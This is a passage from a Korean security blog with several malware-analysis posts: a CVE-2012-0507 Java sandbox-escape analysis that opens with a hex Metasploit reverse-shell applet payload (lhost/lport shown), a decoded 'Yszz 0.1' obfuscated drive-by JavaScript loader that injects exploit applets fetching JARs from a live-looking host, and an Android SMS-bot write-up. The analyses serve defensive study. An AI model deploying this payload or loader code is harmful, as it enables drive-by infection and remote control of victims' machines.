18aee38d8e93b8c0713181111d9770594707ae2470558da3095c4bc0d2318671652638523a2d9ad461c0d6710337957b4b99dbcadcd17117533aee618ae33ec7038e6986ce19d773e52c43cc1a7bcba0cdfb05c1100fa51348868cb5bce57c746cd7b7171ce92c79956d99938170cae9a389ecb66ca2eb75b8e478459b20d72ba615ad9ed9c98b8a747d2fe4481b1886c9d0773c9481fbe1a4e79405c78c8187983530874704575dafe05743038ff184dc7cb93029764827b7375ccf0e3739e60d2c206360114f19461473c5d92df94ec1a6ad14855dd7b7e8075527288880e39981253c57525e702c1b3803d3c04bbc3290556605af39560de46072ac319c8aa0dc14a552db36b21b5b222fa38395651868061f95a4bd12bba1146586eea2902b815f1181dc6518b522eafa3744cba4bfec574530ef84946dd08a0ce2544db193fdc03014c5bbc4d0df4457b73de996894c274547ce501bf3214cd41a1d4b9ec1b2d6ff2d98b6961761986e4b750832f452aad6b662186ee43bde700c0bcd1efd7f7f46a3aa455bce606d93d002430fc968a1a4736d51d19aab1e9a09023f6884f2aae34a6ab7838b4515351beb16dd9214411b6d3c5ff20f8e2b4a1c463044bf014a0ed0b567eaee903d4d5e3f8d8cc6f8f81ed857a887511f9fa53035fd097174d218683fd031ad2563fbd06a88273b6be01d9f61985a2c99c87d4197fae8caed433769be7b3afe1dc6fb09335ec389d41e7a6ae85580f2fb52c780fe06a09ce4bb891a0652350cd6b59ca3572345e7813f504b03041400000000006cabb140000000000000000000000000090000004d4554412d494e462f504b03041400000008006cabb140ae74567e72000000da000000140000004d4554412d494e462f4d414e49464553542e4d46f34dcccb4c4b2d2ed10d4b2d2acecccfb35230d433e0e5f24dccccd375ce492c2eb652c84d2d492c2ec8c9cf2cd10b48acccc94f4ce1e5e2e5f24bcc4d4596d387cae92583742154642596251640a4f48b4b12d353f583412431ca8a521373ddf28bca138b52528b88d090919a9383500600504b03041400000008006cabb1402528e75633000000330000000e0000006d65746173706c6f69742e646174f3f1f00f0eb135b434d23334b3d033d3333436e4f209f00f0ab13501022ed7dca4d49494d494e092c4f454dbe08cd49c1c2e00504b010214001400000000006cabb1400000000000000000000000000b00000000000000000000000000000000006d65746173706c6f69742f504b010214001400000008006cabb140aecf34d0e5110000632200001800000000000000000000000000290000006d65746173706c6f69742f5061796c6f61642e636c617373504b010214001400000000006cabb1400000000000000000000000000c00000000000000000000000000441200006a6176617061796c6f61642f504b010214001400000000006cabb14000000000000000000000000012000000000000000000000000006e1200006a6176617061796c6f61642f73746167652f504b010214001400000008006cabb1402600ec319c000000d30000001d000000000000000000000000009e1200006a6176617061796c6f61642f73746167652f53746167652e636c617373504b010214001400000008006cabb140ea1e3cba14030000ea0500002700000000000000000000000000751300006a6176617061796c6f61642f73746167652f53747265616d466f727761726465722e636c617373504b010214001400000008006cabb14029f4dc1882020000d30400001d00000000000000000000000000ce1600006a6176617061796c6f61642f73746167652f5368656c6c2e636c617373504b010214001400000000006cabb14000000000000000000000000009000000000000000000000000008b1900004d4554412d494e462f504b010214001400000008006cabb140ae74567e72000000da0000001400000000000000000000000000b21900004d4554412d494e462f4d414e49464553542e4d46504b010214001400000008006cabb1402528e75633000000330000000e00000000000000000000000000561a00006d65746173706c6f69742e646174504b0506000000000a000a0099020000b51a00000000"/><param name="lhost" value="192.168.6.131"/><param name="lport" value="4444"/></applet></body></html>


공격의 간략적인 흐름을 보면 페이지에 있는 쉘코드가 dvTKbJP.jar의 exploit 클래스로 들어가 실행되게 됩니다. 물론 해당 쉘코드는 제가 만든 reverse_tcp 쉘코드 입니다.


이제 dvTKbJP.jar 파일안이 어떻게 되었는지 살펴볼 차례 입니다.


일단 해당 취약점이 무엇을 이용한 취약점인지부터 살펴보죠.


해당 취약점에서 이용한 것은 java에서 제공되는 AtomicReferenceArray 클래스 입니다. 클래스로 넘어오는 인자(원자변수)들을 배열로 핸들링 할 수 있게끔 하는 클래스인데 배열로 핸들링 할 때 역직렬화를 시켜 메모리에 손상을 주어 샌드박싱이 해제되게끔 하여 악성코드가 샌드박싱을 벗어나 실행되게끔 합니다. 정말 교묘하죠 ?


그런데 더 중요한 것은 역직렬화가 논리적 결함에서 벗어나는 행위가 아니라는 것 입니다. 그렇기에 클래스는 정상참조를 하게 됩니다.


이제 코드를 한번 살펴 봅시다. 코드는 심오한 취약점에 비해 정말 간단합니다.


[취약점 분석]


1. 취약점을 이용하는 악성코드가 심어져 있는 페이지에 접속하게 되면 jar 파일과 쉘코드들이 조합되어 실행이 됩니다. 일단 실행이 되면 jar 파일의 exploit 클래스의 아래와 같은 코드가 실행됩니다.


[그림 2 - AtomicReferenceArray() 클래스 객체 생성]


2. 객체가 생성 되면 ClassLoader 클래스를 생성하고 AtomicReferenceArray()에 설정하여 줍니다.


[그림 3 - Class Loader 설정]


3. 설정이 끝나면 여러가지 부수적인 정보를 설정한 뒤 Help.classdoWork() 메소드를 호출 합니다.

[그림 4 - 부수적 정보 설정]


4. doWork() 메소드는 새로운 클래스를 하나 정의하며 정의 된 클래스에서 ShellCode를 다운로드 받아 실행합니다.


[그림 5 - dowork 메소드 일부분]


전체적인 흐름을 그림으로 그려보면 다음과 같습니다.


[그림 6 - 전체적인 흐름도]


그림은 자세히 표현하지 않아 잠시 헷갈릴 수 있습니다.

Exploit.class 와 Help.class가 jar파일의 클래스이고 샌드박싱 내에서 실행됩니다. 여기서 임의로 정의한 defineclass는 샌드박싱 밖 영역에서 실행되게 됩니다.


해당 취약점은 심각한 취약점이므로 해당 글을 보시는 분들은 아래 링크로 가셔서 해당 취약점을 패치하시거나 최신버전 업데이트를 하시기 바랍니다.


취약점 패치 : http://www.oracle.com/technetwork/topics/security/javacpufeb2012-366318.html

최신버전 : http://www.oracle.com/technetwork/java/javase/downloads/index.html



저작자 표시 비영리 변경 금지
신고
크리에이티브 커먼즈 라이선스
Creative Commons License

'[+] Security > [-] Analysis' 카테고리의 다른 글

CVE 2012-0507 간단 분석  (12) 2012.05.17
Yszz 0.1 난독화 등장!!  (0) 2012.05.17
Android Tigerbot-Spyera Analysis  (0) 2012.04.13
Android.Stiniter_TGLoader Analysis  (0) 2012.04.12
Encrypt By Dadong's JSXX 0.41 VIP 샘플 분석  (2) 2012.03.10
  1. 트라 2012.05.19 15:30 신고

    좋은 내용 잘보구 갑니다 ^^

  2. ray 2012.06.26 12:21 신고

    좋은 정보 감사합니다.

  3. Favicon of http://viiiin.tistory.com BlogIcon viiiin 2012.09.12 22:41 신고

    안녕하세요. 정리를 잘 해주셔서 잘 보았습니다. ^^
    그런데 궁금한 점이 있어서요.

    AtomicReferenceArray 클래스로 넘어오는 인자를 배열로 핸들링 할 때, 역 직렬화를 시켜 메모리에 손상을 준다고 하셨잖아요?
    그런데 이 때 역 직렬화는 AtomicReferenceArray 생성자 함수를 호출하기 이전에 시켜주는 건가요?
    그리고 역 직렬화 과정 중에 무슨 이유로 메모리가 손상되었는지 궁금해서요.

    글의 제목처럼 간단분석이라고 하셨는데 제가 너무 무리하게 질문을 한 것은 아닌지 모르겠네요. ^^;;

    감사히 잘 보고 갑니다~

    • Favicon of http://maj3sty.tistory.com BlogIcon MaJ3stY 2012.09.12 23:59 신고

      역 직렬화는 인자를 배열로 핸들링 할 때 비정상적인 인자로 인해 일어나는 것 입니다. 즉, 클래스 호출과 처리 과정에서 일어나는 것이지요 ㅎ
      사실 역직렬화 자체는 컴퓨터 입장에서 논리적으로 보았을 때 크게 이상한 것은 아닙니다. 하지만 메모리 입장에서 보면 역직렬화는 이해하지 못하는 구조라는 것이 포인트입니다.

  4. Favicon of http://viiiin.tistory.com BlogIcon viiiin 2012.09.13 00:47 신고

    AtomicReferenceArray 클래스는 해당 요소를 원자적으로 업데이트하기 위한 객체 참조 배열을 핸들링하는 클래스라고 나와 있네요. 그리고 이 클래스는 객체가 안전하게 직렬화 될 수 있도록 Serializable 인터페이스를 포함하고 있구요. 즉, 직렬화 된 객체를 안전하게 핸들링하기 위한 클래스가 맞나요?

    맞다면 정상적인 경우, 어떠한 객체를 직렬화 시킨 다음 AtomicReferenceArray 클래스를 이용하여 직렬화 된 객체를 안전하게 핸들링하기 위해 사용하는 것이 정상적인 사용 방법이 되겠네요.

    그런데 이 취약점에서는 이미 직렬화 된 바이트 배열을 역 직렬화 시켜서 객체로 복원한 다음, 이 객체를 AtomicReferenceArray 클래스의 생성자 함수에 인자로 전달하기 때문에 문제가 발생하는 건가요?

    제가 머리가 잘 안돌아가서 이렇게 정리하지 않으면 이해가 잘 안되는 타입이라서요...ㅜ_ㅜ;
    일단 저는 이렇게 이해를 했는데 혹시 잘못 이해하고 있는 부분이 있다면 지적 부탁드려요.ㅋ
    그리고 빠른 답변 감사드립니다. ^^

    • Favicon of http://maj3sty.tistory.com BlogIcon MaJ3stY 2012.09.13 12:36 신고

      개략적인 내용은 이해하신 듯 하네요 ㅎ 그런데 복원이란 의미는 조금 맞지 않습니다. 조작이라는 표현이 좀 더 정확합니다 ㅎ

  5. Favicon of http://viiiin.tistory.com BlogIcon viiiin 2012.09.13 14:27 신고

    전부 MaJ3stY님 덕분입니다.ㅋ
    복원이라고 표현하는데는 좀 무리가 있겠군요. 좀 더 찾아보니 직렬화와 역직렬화 과정의 명확한 용어가 있네요. 이미 알고 계시겠지만 혹시 모르시는 분 들을 위해...

    직렬화(Serialization) 과정을 디플레이팅(deflating) 또는 마샬링(marshalling)이라고 부르며, 역직렬화(Deserialization) 과정을 인플레이팅(inflating) 또는 언마샬링(unmarshalling)이라고 하네요.

    그럼 마지막으로 질문 하나만 더 드릴게요...
    이런 문제점으로 메모리가 손상되었고, 결국 샌드박스 제한을 우회하여 임의의 코드를 실행할 수 있게 되었는데요.
    메모리가 어떻게 손상이 되었길래 샌드박스를 우회할 수 있었던 걸까요?

    AtomicReferenceArray 클래스를 이용해서 직렬화 된 바이트 배열을 안전하게 핸들링해야 하는데 역직렬화 된 객체 배열이 전달되는 바람에 코드 상으로는 크게 문제가 되지는 않았지만 메모리 구조적으로는 문제가 발생한건가요.

    개인적으로도 너무 궁금해서 고민을 좀 해봤는데요. 자바 리버싱은 디컴파일 하는 것 말고는 잘 모르겠더라구요.
    그래도 궁금한게 하나씩 이해가 되니 재밌네요.ㅎ

    • Favicon of http://maj3sty.tistory.com BlogIcon MaJ3stY 2012.09.15 17:58 신고

      음 어떻게 라고 말씀을 하시니 어떻게 설명을 드려야 할지... 딱히 그 구조를 추상화해서 보여 드릴 수가 없군요 지금은 ㅠㅠ 메모리 손상이라는 것은 메모리 내에서 어떤 프로그램 영역이 제대로 동작을 못한다라고 생각을 하시면 될 듯 합니다. 즉, 샌드박스가 제 기능을 못하는 상태에서 opcode가 진행이 되고 결국 다른 프로세스 영역으로 점프를 하는거죠.
      자바로 만들어진 실행 파일은 IDA로 보시면 되요 ㅎㅎ

  6. Favicon of http://viiiin.tistory.com BlogIcon viiiin 2012.09.18 10:23 신고

    음...그렇군요ㅋ 덕분에 잘 배우고 갑니다. 감사합니다. ^^

실무에서 악성코드를 분석하시는 분의 블로그를 오랜만에 갔더니 새로운 난독화에 대한 포스팅이 보여 샘플을 얻어 분석해 보았다.


샘플은 다음과 같은 소스로 구성되어 있다.

<script type="text/javascript" src="swfobject.js"></script>

<script src=jpg.js></script>

<script language =javascript>

var uud1="%78"+"%78"+"%6F"+"%6F"+"%78"+"%78"+"%31";var uud2="%32"+"%33"+"%34"+"%35"+"%36"+"%37";var pkucde =uud1+uud2,AVgHbu2f=unescape,cu1l2lp3s2z="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",MxAAS="%64"+"%6f"+"%63"+"%75"+"%6d"+"%65"+"%6e"+"%74",UAXzqa1="%77"+"%72"+"%69"+"%74"+"%65",Kxllz1z;function Yszz_v1(str){var out,i,len,c;var char2,char3;out=[];len=str.length;i=0;while(i<len){c=str.charCodeAt(i++);switch(c>>4)

{case 0:case 1:case 2:case 3:case 4:case 5:case 6:case 7:out[out.length]=str.charAt(i-1);break;case 12:case 13:char2=str.charCodeAt(i++);out[out.length]=String.fromCharCode(((c&0x1F)<<6)|(char2&0x3F));break;case 14:char2=str.charCodeAt(i++);char3=str.charCodeAt(i++);out[out.length]=String.fromCharCode(((c&0x0F)<<12)|((char2&0x3F)<<6)|((char3&0x3F)<<0));break;}}

return out.join('');}

var kaixindecodeChars=new Array(-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,62,-1,-1,-1,63,52,53,54,55,56,57,58,59,60,61,-1,-1,-1,-1,-1,-1,-1,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,-1,-1,-1,-1,-1,-1,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,-1,-1,-1,-1,-1);

MxAAS=AVgHbu2f(MxAAS);

function kaixindecode(str)

{var c1,c2,c3,c4;/*Yszz 0.1*/var i,len,out;len=str.length;i=0;out = "";while(i<len)

{do

{c1=kaixindecodeChars[str.charCodeAt(i++)&0xff]}while(i<len&&c1==-1);if(c1==-1)

break;do

{c2=kaixindecodeChars[str.charCodeAt(i++)&0xff]}while(i<len&&c2==-1);if(c2==-1)

break;out+=String.fromCharCode((c1<<2)|((c2&0x30)>>4));do

{c3=str.charCodeAt(i++)&0xff;if(c3==61)

return out;c3=kaixindecodeChars[c3]}while(i<len&&c3==-1);if(c3==-1)

break;out+=String.fromCharCode(((c2&0XF)<<4)|((c3&0x3C)>>2));do

{c4=str.charCodeAt(i++)&0xff;if(c4==61)

return out;c4=kaixindecodeChars[c4]}while(i<len&&c4==-1);if(c4==-1)

break;out+=String.fromCharCode(((c3&0x03)<<6)|c4)}

return out}

function long2str(v,w){var vl=v.length;var sl=v[vl-1]&0xffffffff;for(var i=0;i<vl;i++)

{v[i]=String.fromCharCode(v[i]&0xff,v[i]>>>8&0xff,v[i]>>>16&0xff,v[i]>>>24&0xff);}

if(w){return v.join('').substring(0,sl);}

else{return v.join('');}}

function str2long(s,w){var len=s.length;var v=[];for(var i=0;i<len;i+=4)

{v[i>>2]=s.charCodeAt(i)|s.charCodeAt(i+1)<<8|s.charCodeAt(i+2)<<16|s.charCodeAt(i+3)<<24;}

if(w){v[v.length]=len;}

return v;}

Kxllz1z=AVgHbu2f(pkucde);

function kaixin(str,Udkz){if(str==""){return"";}

var v=str2long(str,false);var k=str2long(Udkz,false);var n=v.length-1;var z=v[n-1],y=v[0],delta=0x9E3779B9;var mx,e,q=Math.floor(6+52/(n+1)),sum=q*delta&0xffffffff;while(sum!=0){e=sum>>>2&3;for(var p=n;p>0;p--){z=v[p-1];mx=(z>>>5^y<<2)+(y>>>3^z<<4)^(sum^y)+(k[p&3^e]^z);y=v[p]=v[p]-mx&0xffffffff;}

z=v[n];mx=(z>>>5^y<<2)+(y>>>3^z<<4)^(sum^y)+(k[p&3^e]^z);y=v[0]=v[0]-mx&0xffffffff;sum=sum-delta&0xffffffff;}

return long2str(v,true);}

UAXzqa1=AVgHbu2f(UAXzqa1);

Dz=cu1l2lp3s2z;

Dz=Yszz_v1(kaixin(kaixindecode(Dz), Kxllz1z));alert(Dz);window[MxAAS][UAXzqa1] (Dz);

</script>

///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

/////////////////////////////////////////////////////


 * 경고 : 해당 코드는 분석용 샘플 이긴 하나 실제 사용 되었던 코드이므로 사용을 자제하기 바랍니다. 사용시 책임은 본인에게 있습니다.


다른 난독화 소스들 보다 길지 않은 소스이다. 맨 아래를 보면 디코딩한 코드를 Dz 라는 변수에 담는 것을 확인 할 수 있다.


가볍게 alert()로 띄어주면 아래와 같은 코드가 보인다.




하지만 alert창에 크기 문제로 인해 모든 코드가 보이지 않는다. 복사하여 메모장 등에 붙여 넣으면 다음과 같이 코드의 전체를 확인 할 수 있다.


<script type="text/javascript">function whQd8(){       var pcss=navigator.userAgent.toLowerCase();       var kxkx=deconcept["SWFOb"+"jectU"+"til"]["getPlay"+"erVer"+"sion"]();       if(((kxkx['major']==10&&kxkx['minor']<=3)&&kxkx['rev']<=183||(kxkx['major']==11&&kxkx['minor']<=1&&kxkx['rev']<=102&&((pcss.indexOf('msie 6.0')>0)||(pcss.indexOf('msie 7.0')>0)||(pcss.indexOf('msie')==-1))))) { document.writeln("<iframe src=ff.html><\/iframe>"); } else         { var UaYcKzD2 = window.navigator.userAgent.toLowerCase(); if ((UaYcKzD2.indexOf('msie 6.0') > -1) || (UaYcKzD2.indexOf('msie 7.0') > -1))         {try{ var g;   var glworld=new ActiveXObject("ievkbd.IEVkbdBHO");}   catch(g){};   finally{if(g=="[object Error]"){       document.writeln("<iframe src=ms.html><\/iframe>");}else{}}        } }}if(document.cookie.indexOf("unxyingyooo=")==-1){var expires=new Date();expires.setTime(expires.getTime()+24*60*60*1000);document.cookie="unxyingyooo=Yes;path=/;expires="+expires.toGMTString();if(navigator.userAgent.toLowerCase().indexOf("msie")!=-1){try{ var g;   var glworld=new ActiveXObject("JavaWebStart.isInstalled");}   catch(g){};   finally{if(g=="[object Error]"){}else{var kaixinm=deployJava.getJREs()+"";kaixinm=parseInt(kaixinm.replace(/\.|\_/g,''));if (kaixinm<=17002){var kaixin=document.createElement('applet');kaixin.width="1";kaixin.height="1";}if((kaixinm<=16027 && kaixinm>=16000) || (kaixinm>=15000 && kaixinm<=15031)) {kaixin.archive="Gondad.jpg"; kaixin.code="GondadGondadExp.class";kaixin.setAttribute("data","http://slet.xvozz.com/pic/avi36.jpg ");document.body.appendChild(kaixin);}else if ((kaixinm<=17002 && kaixinm>=17000) || (kaixinm<=16030 && kaixinm>=16000) ||(kaixinm>=15033 && kaixinm<=15000)) {kaixin.archive="d812az1.jpg"; kaixin.code="GondadExp.Ohno.class"; kaixin.setAttribute("xiaomaolv","http://slet.xvozz.com/pic/avi36.jpg "); kaixin.setAttribute("bn","woyouyizhixiaomaolv");kaixin.setAttribute("si","conglaiyebuqi");kaixin.setAttribute("bs","748"); document.body.appendChild(kaixin);}}}}whQd8();}</script>


 * 경고 : 해당 코드는 분석용 샘플 이긴 하나 실제 사용 되었던 코드이므로 사용을 자제하기 바랍니다. 사용시 책임은 본인에게 있습니다.


디코딩 된 코드 또한 길지 않다. 빠르게 훑어보기만 하여도 얼추 IE 버전을 파악하여 공격하는 코드로 보인다.(6~7)


특이한 점은 공격에 사용 되는 것으로 보이는 jpg 파일이름과 클래스 파일이름이 dadong 난독화와 비슷하다는 것이다.


dadong 난독화는 중국어의 gondad를 거꾸로 표기 한 것으로 공격이란 뜻을 가지고 있다. dadong을 의식해서 만든 난독화인지 아니면 그냥 중국 해커에 의해서 만든 코드인데 우연찮게 gondad 라는 단어를 사용한 것인지는 현재로서 알 길이 없다.


무튼 특정 사이트에서 jpg 파일들을 다운받는다. 물론 악성 파일이 숨겨져 있는 jpg 파일일 것이다. 다운받아서 분석을 해보려 하였지만 현재 서버가 죽어있어 파일을 얻지 못하였다.



dadong에 비하면 난독화 알고리즘 자체에는 특별한 점을 찾아 볼 수 없는 난독화이다. 


과연 버전을 업데이트 하여 다시 나타날런지....


p.s - 일반 난독화 툴로도 충분히 난독화가 가능한 것을 확인하였다.


저작자 표시 비영리 변경 금지
신고
크리에이티브 커먼즈 라이선스
Creative Commons License

'[+] Security > [-] Analysis' 카테고리의 다른 글

CVE 2012-0507 간단 분석  (12) 2012.05.17
Yszz 0.1 난독화 등장!!  (0) 2012.05.17
Android Tigerbot-Spyera Analysis  (0) 2012.04.13
Android.Stiniter_TGLoader Analysis  (0) 2012.04.12
Encrypt By Dadong's JSXX 0.41 VIP 샘플 분석  (2) 2012.03.10




기사 : http://www.dailysecu.com/news_view.php?article_id=2099


기사가 올라왔네요 ^^(기사 작성해주신 길민권 기자님 감사드립니다 ^^)


예전에 네이버 말고도 동일 취약점으로 네이트 이메일도 적용이 가능하다는 것을 포스팅 한 적이 있습니다.


아래 링크 참고 !


http://maj3sty.tistory.com/696


저작자 표시 비영리 변경 금지
신고
크리에이티브 커먼즈 라이선스
Creative Commons License

이번에 분석해 볼 앱은 정말 최근(2012. 4.11)에 발견된 원격 스마트폰을 SMS로 컨트롤하는 앱이다. 


클래스파일이 너무 많아 line by line는 안되고 악성 행위를 하는 부분에 대해서만 설명하도록 하겠다.


일단 GPS 업데이트 부분을 한번 살펴보자. 해당 앱은 감염된 스마트폰의 GPS 정보를 전송하는 기능이 있는데 해당 기능은 [그림1]과 같은 소스코드가 수행하며 클래스 파일의 이름은 CdmaCellLocation이다.



[그림 1 - GPS 위치 전송 데이터 설정]


이번에는 전화통화를 강제로 종료하는 부분이다. 스마트폰의 스크린이 켜지면 그 이벤트를 감지하여 전화통화 상태일시 전화통화를 종료해버린다.


[그림 2 - 전화통화 강제종료]


이번에는 감염 스마트폰의 이미지 전송 부분이다. 사용자가 갤러리등을 통해 사진을 호출하려고 할 때 대부분의 앱들은 미리보기를 보여주게 되는데 이 미리보기가 호출되면 자동적으로 OnPreviceFrame() 메소드가 호출되어 이미지가 특정한 곳으로 전송 된다.


[그림 3 - 이미지 전송]


이번에는 가장 핵심적인 SMS 메시지 명령에 대한 부분을 보자. [그림 4]는 감염 스마트폰으로 SMS가 올 시 그것을 감지하는 부분이다.


[그림 4 - SMS 감지]


이번에는 명령을 체크하는 부분이다. 아래는 그 일부분이다.


[그림 5 - SMS 명령 체크]


이젠 어떠한 명령이 있는지 알아보자. 일단 네트워크에 관련된 부분이다.


[그림 6 - wift 체크]


[그림 6]은 wifi가 연결되어 있는지 확인하는 메소드 부분이다. 이뿐만 아니라 네트워크의 설정정보도 변경하며 사용자가 네트워크 설정 정보를 변경하면 그것또한 감지하여 다시 네트워크 정보를 변경한다.


[그림 7 - 재부팅]


[그림 7]은 악성 앱이 감염 스마트폰을 강제적으로 재부팅시키는 메소드 부분이다. 


[그림 8 - 백그라운드 프로세스 Kill]


[그림 8]은 악성 앱이 백그라운드에서 실행되고 있는 프로세스를 죽이는 메소드 부분이다.


[그림 9 - 상수]


[그림 9]는 GPS와 녹음파일을 업로드 하는 메소드 부분에서 사용되는 상수 값이다. 앞에서 보았던 GPS 설정 데이터를 해당 부분에서 전송하며 녹음 파일 또한 같은 메소드에서 전송한다.



[그림 10 - 전송 후 삭제]


[그림 10]은 녹음 파일을 전송 한 후 삭제하는 부분이다. [그림 11]은 특정 서버와 연결하는 부분으로 해당 서버와 연결이 되면 계속해서 서버에서 오는 수신 메시지를 받는다.



[그림 11 - 서버메시지 수신]


마지막으로 화면잠금 해제 부분이다.


[그림 12 - 화면잠금 해제]


정말 앱 하나에 기능이 많이 들어가 있다. 보기 좋게 어떤 악성 행위를 하는지 정리해 보면 다음과 같다.


1. GPS 데이터 전송

2. SMS 특정번호로 전송

3. 네트워크 설정 정보 변경 및 연결상태 확인

4. 특정 서버와 데이터 송수신

5. 백그라운드의 프로세스 Kill

6. 녹음 파일 전송

7. 스마트폰 재부팅

8. 전화통화 강제종료

9. 이미지 전송

10. 화면 잠금 해제



결국 해당 앱은 감염 스마트폰으로 오는 메시지들을 모니터링 해서 명령에 해당하는 것이 있으면 해당 명령에 관한 기능을 수행한다. 또 스마트폰 상태에 따라 여러가지 정보를 변경한다. 마지막으로 여러 특정데이터들을 특정한 곳으로 전송 시킨다.

전형적인 봇의 형태를 나타내며, 악성코드로서의 행위도 하는 스마트폰에 어울리는 아주 스마트한 악성 앱이다.

저작자 표시 비영리 변경 금지
신고
크리에이티브 커먼즈 라이선스
Creative Commons License

'[+] Security > [-] Analysis' 카테고리의 다른 글

CVE 2012-0507 간단 분석  (12) 2012.05.17
Yszz 0.1 난독화 등장!!  (0) 2012.05.17
Android Tigerbot-Spyera Analysis  (0) 2012.04.13
Android.Stiniter_TGLoader Analysis  (0) 2012.04.12
Encrypt By Dadong's JSXX 0.41 VIP 샘플 분석  (2) 2012.03.10

+ Recent posts

티스토리 툴바